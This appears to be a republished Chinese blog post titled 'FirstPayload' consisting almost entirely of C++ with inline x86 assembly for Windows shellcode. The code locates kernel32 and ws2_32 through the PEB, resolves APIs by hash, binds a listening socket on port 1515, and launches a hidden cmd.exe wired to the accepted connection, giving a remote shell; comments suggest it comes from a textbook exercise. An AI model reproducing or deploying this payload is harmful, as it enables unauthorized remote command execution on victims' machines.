FirstPayload
Posted ltyandy
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了FirstPayload相关的知识,希望对你有一定的参考价值。
FirstPayload
// FirstPayload.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
?
#include "pch.h"
#include <iostream>
?
int main()
__asm
SUB ESP,0x20 // 开辟一段栈空间,增加健壮性
push ebp
mov ebp,esp
sub esp,0x10
JMP tag_Shellcode // 前置代码,避免后面的数据被解释为指令
// cmd.exe
// [tag_Next-0x25]
_asm _emit(0x63)_asm _emit(0x6D)_asm _emit(0x64)_asm _emit(0x2E)
_asm _emit(0x65)_asm _emit(0x78)_asm _emit(0x65)_asm _emit(0x00)
?
// ws2_32.dll\0
// [tag_Next-0x1D]
_asm _emit(0x77)_asm _emit(0x73)_asm _emit(0x32)_asm _emit(0x5F)
_asm _emit(0x33)_asm _emit(0x32)_asm _emit(0x2E)_asm _emit(0x64)
_asm _emit(0x6C)_asm _emit(0x6C)_asm _emit(0x00)
// kernel32.dll
// [tag_Next-0x12]
_asm _emit(0x6B)_asm _emit(0x65)_asm _emit(0x72)_asm _emit(0x6E)
_asm _emit(0x65)_asm _emit(0x6C)_asm _emit(0x33)_asm _emit(0x32)
_asm _emit(0x2E)_asm _emit(0x64)_asm _emit(0x6C)_asm _emit(0x6C)
_asm _emit(0x00)
?
tag_Shellcode:
//1.GetPC
CALL tag_Next
tag_Next:
pop ebx // BaseAddr
mov [ebp-0x04],ebx // LOCAL_1=Shellcode BaseAddr
// 2.获取关键模块基址
mov esi,dword ptr fs:[0x30] // PEB的地址
mov esi,[esi+0x0C] // 指向PEB_LDR_DATA的指针
mov esi,[esi+0x1C] // 模块链表指针
mov esi,[esi] // 访问链表中的第二个条目
mov edx,[esi+0x08] // 获取Kernel32.dll基址
// 3.获取LoadLibraryExA的函数地址
push edx // ImageBase =Kernel32.dll
push 0xC0D83287 // nHashDigest=LoadLibraryExA Digest
call fun_GetFunAddrByHash // 根据哈希值找函数地址的自定义函数
mov edi,eax // LoadLibraryExA
?
// 4.加载Kernel32.dll,增强兼容性(win7取得的是KernelBase.dll的基址)
lea esi,[ebx-0x12] // kernel32.dll\0
push 0 // /-dwFlags=0
push 0 // |-hFile =0
push esi // |-lpLibFileName =kernel32.dll
call edi // LoadLibraryExA()
mov [ebp-0x08],eax // LOCAL2=Kernel32.dll基址
?
// 5.加载ws2_32.dll以方便后面的网络通信编程
lea esi, [ebx - 0x1D] // ws2_32.dll\0
push 0 // /-dwFlags=0
push 0 // |-hFile =0
push esi // |-lpLibFileName =ws2_32.dll
call edi // LoadLibraryExA()
mov[ebp - 0x0C], eax // LOCAL3=ws2_32.dll基址
?
// 6. 执行Payload部分
push [ebp-0x0C] // ws2_32.dll基址
push [ebp-0x08] // Kernel32.dll基址
push [ebp-0x04] // BaseAddr
call fun_Payload //
?
// 7.Payload执行完毕,结束程序,防止被调试分析
push [ebp-0x08] // IMAGEBASE =PARAM_2(Kernel32.dll)
push 0x4FD18963 // nHashDigest=ExitProcess Digest
call fun_GetFunAddrByHash // fun_GetFunAddrByHash
push 0 // /-uExitCode =NULL
call eax // ExitProcess()
mov esp,ebp //
pop ebp //
?
//////////////////////////////////////////////////////////////////////////
//根据哈希值获取函数,返回值为关键函数地址
//////////////////////////////////////////////////////////////////////////
fun_GetFunAddrByHash://(int nHashDigest,int ImageBase)
?
push ebp
mov ebp,esp
sub esp,0x0C
push edx
// 1.获取EAT ENT EOT
mov edx,[ebp+0x0C] // PARAM_1 (ImageBase)
mov esi,[edx+0x3C] // IMAGE_DOS_HEADER.E_LFANEW
lea esi,[edx+esi] // PE文件头
mov esi,[esi+0x78] // IMAGE_DIR...EXPORT.VirtualAddress
lea esi,[edx+esi] // 导出表首地址
mov edi,[esi+0x1C] // IMAGE_EXP...ORY.AddressOfFunctions
lea edi,[edx+edi] // EAT首地址
mov [ebp-0x04],edi // LOCAL_1 EAT首地址
mov edi,[esi+0x20] // IMAGE_EXP...ORY.AddressOfNames
lea edi,[edx+edi] // ENT首地址
mov [ebp-0x08],edi // LOCAL_2 ENT首地址
mov edi,[esi+0x24] // IMAGE_EXP...ORY.AddressOfNameOrdinals
lea edi,[edx+edi] // EOT首地址
mov [ebp-0x0C],edi // EOT首地址
// 2.循环对比ENT中的函数名
xor ecx,ecx
jmp tag_FirstCmp
tag_CmpFunNameLoop:
inc ecx
tag_FirstCmp:
mov esi,[ebp-0x08] // LOCAL_2e ENT
mov esi,[esi+4*ecx] // ENT RVA
mov edx,[ebp+0x0C] // PARAM_1 IMAGEBASE
lea esi,[edx+esi] // ENT VA
push [ebp+0x08] // 传参nDigest = PARAM_1(nDigest)
push esi // 传参strFunName = ENT VA
call fun_Hash_CmpString // 比较哈希值
test eax,eax // 如果相等eax为1,否则为0
je tag_CmpFunNameLoop // 备注,书本上是jne
// 3.成功后找到对应的序号
mov esi,[ebp-0x0C] // LOCAL_3 EOT
xor edi,edi
mov di,[esi+ecx*2] // 用函数名数组下标在序号数组找到对应的序号
// 4.使用序号作为索引,找到函数名所对应的函数地址
mov edx,[ebp-0x04] // LOCAL_1 EAT
mov esi,[edx+edi*4] // 用序号在函数地址数组找到对应的函数地址
mov edx,[ebp+0x0C] // param_1 imagebase
// 5.返回获取到的关键函数地址
lea eax,[edx+esi] // 返回GetProcAddress的地址
pop edx
mov esp,ebp
pop ebp
retn 0x08
?
fun_Hash_CmpString: //(char * strFunName,int nDigest)
push ebp
mov ebp,esp
sub esp,0x04 //开辟局部变量并清零
mov dword ptr [ebp-0x04],0x00
push ebx //保存用到的寄存器
push ecx
push edx
mov esi,[ebp+0x08] // PARAM_1(strFunName)
xor ecx,ecx
xor eax,eax
tag_HashLoop:
mov al,[esi+ecx] // al=字符串的第ecx个字符
test al,al // 判断是否为0,为0结束循环
jz tag_HashEnd
?
mov ebx,[ebp-0x04] // LOCAL_1(摘要)
shl ebx,0x19 // 摘要<<0x19(25)
mov edx,[ebp-0x04] // LOCAL_1(摘要)
shr edx,0x07 // 摘要>>0x07(07)
or ebx,edx // ebx|edx
add ebx,eax // edx+字符的ASCII
mov [ebp-0x04],ebx
inc ecx // ecx++
jmp tag_HashLoop
?
?
?
tag_HashEnd:
mov ebx,[ebp+0x0C] // PARAM_2(nDigest)
mov edx,[ebp-0x04] // LOCAL_1(摘要)
xor eax,eax
cmp ebx,edx
jne tag_FunEnd // 备注
mov eax,1
?
tag_FunEnd:
pop edx
pop ecx
pop ebx
mov esp,ebp
pop ebp
retn 0x08
?
//////////////////////////////////////////////////////////////////////////
//有效荷载,返回值NULL
//////////////////////////////////////////////////////////////////////////
fun_Payload:// (int BaseAddr,int Kernel32_Base,int ws2_32_Base)
push ebp
mov ebp,esp
sub esp,0x300
// 1.初始化Winsock服务
push [ebp+0x10] // IMAGEBASE =PARAM_3(ws2_32.dll)
push 0x80B46A3D // nHashDigest =WSAStartup Digest
call fun_GetFunAddrByHash // fun_GetFunAddrByHash
lea esi ,[ebp-0x300] // WSAData
push esi // /-lpWSAData=WSADATA
push 0x0202 // |-wVersionRequested=2.2
call eax // WSAStartup()
test eax,eax
jnz tag_PaloadEnd
// 2.创建一个原始套接字
push [ebp+0x10] // IMAGEBASE =PARAM_3(WS2_32.dll)
push 0xDE78322D // nHashDigest =WSASocketA Digest
call fun_GetFunAddrByHash // fun_GetFunAddrByHash
push 0 // /-dwFlags=0
push 0 // |-g =0
push 0 // |-lpProtocolInfo=0
push 6 // |-protocol=IPPROTO_TCP
push 1 // |-type=SOCK_STREAM
push 2 // |-AF =af_inet
call eax // WSASocketA()
mov[ebp - 0x04], eax // LOCAL_1=SOCKET
?
// 3. 在任意地址(INADDR_ANY)上绑定一个端口1515[0x05BE-->0XBE05]
push[ebp + 0x10] // IMAGEBASE =PARAM_3(WS2_32.dll)
PUSH 0xDDA71064 // nHashDigest =bind Digest
call fun_GetFunAddrByHash // fun_GetFunAddrByHash
mov word ptr [ebp-0x200],0x02 // /SOCKADDR_IN.sin_family=AF_INET
mov word ptr [ebp-0x1FE],0xEB05 // |SOCKADDR_IN.sin_port=0xEB05(1515)
mov dword ptr [ebp-0x1FC],0 // \SOCKADDR_IN.sin_addr=INADDR_ANY
lea esi,[ebp-0x200] // SOCKADDR_IN
push 0x14 // /-namelen =0x14
push esi // |-name =SOCKADDR_IN
push [ebp-0x04] // |-s LOCAL_1(socket)
call eax // bind()
test eax,eax //
jnz tag_PaloadEnd
// 4. 监听申请的连接,队列中可容纳5个链接
push[ebp + 0x10] // IMAGEBASE =PARAM_3(WS2_32.dll)
push 0x4BD39F0C // nHashDigest =listen Digest
call fun_GetFunAddrByHash // fun_GetFunAddrByHash
push 0x7FFFFFFF // /-backlog =SOMAXCONN
push[ebp - 0x04] // |-s LOCAL_1(socket)
call eax // listen()
test eax, eax
jnz tag_PaloadEnd
?
// 5. 接受一个链接
push[ebp + 0x10] // IMAGEBASE =PARAM_3(WS2_32.dll)
push 0x01971EB1 // nHashDigest =accept Digest
call fun_GetFunAddrByHash // fun_GetFunAddrByHash
push 0 // /-addrlen =0
push 0 // /-addr =0
push[ebp - 0x04] // |-s LOCAL_1(socket)
call eax // accept()
mov [ebp-0x04],eax // LOCAL_1(SOCKET)=SOCKET
?
// 6.创建一个CMD进程,并将其输入与输出重定位到我们创建的套接字下
?
push[ebp + 0x0C] // IMAGEBASE =PARAM_3(kernel32.dll)
push 0x6BA6BCC9 // nHashDigest =CreateProcessA Digest
call fun_GetFunAddrByHash // fun_GetFunAddrByHash
mov edx,eax // CreateProcessA
lea edi,[ebp-0x90] // /-清空STARTUPINFOA
mov ecx,0x11 // |-STARTUPINFOA
mov eax,0x00 // |-从[ebp-0x90]开始
cld // |-到[ebp-0x48]结束
rep stosd // |-
mov dword ptr [ebp-0x90],0x00000044 // |-STA...A.cb=48
mov dword ptr [ebp-0x64],0x00000100 // |-STA...A.dwFlags=startf...
mov word ptr [ebp-0x60],0x0000 // |-STA...A.wShowWindow=SW_HIDE
mov esi,[ebp-0x04] // |-LOCAL_1(SOCKET)
mov dword ptr[ebp - 0x58], esi // |-STA...A.hStdInput=SOCKET
mov dword ptr[ebp - 0x54], esi // |-STA...A.hStdOutput=SOCKET
mov dword ptr[ebp - 0x50], esi // \-STA...A.hStdError =SOCKET
lea esi,[ebp-0x90] // STARTUPINFOA
lea edi,[ebp-0x200] // PROCESS_INFORMATION
mov ebx,[ebp+0x08] // PARAM_1(BaseAddr)
lea ebx,[ebx-0x25] // cmd.exe\0
push edi // /-lpProcessInformation=PROCESS_INFORMATION
push esi // |-lpStartupInfo =STARTUPINFOA
push 0 // |-lpCurrentDirectory=0
push 0 // |-lpEnvironment=0
push 0 // |-dwCreationFlags=0
push 1 // |-bInheritHandles=1
push 0 // |-lpThreadAttributes=0
push 0 // |-lpProcessAttributs=0
push ebx // |-lpCommandLine=cmd.exe\0
push 0 // |-lpApplicationName=0
call edx // CreateProcessA()
tag_PaloadEnd: //
mov esp,ebp //
pop ebp //
retn 0x0C //
?
?
?
?
?
?
?
?
以上是关于FirstPayload的主要内容,如果未能解决你的问题,请参考以下文章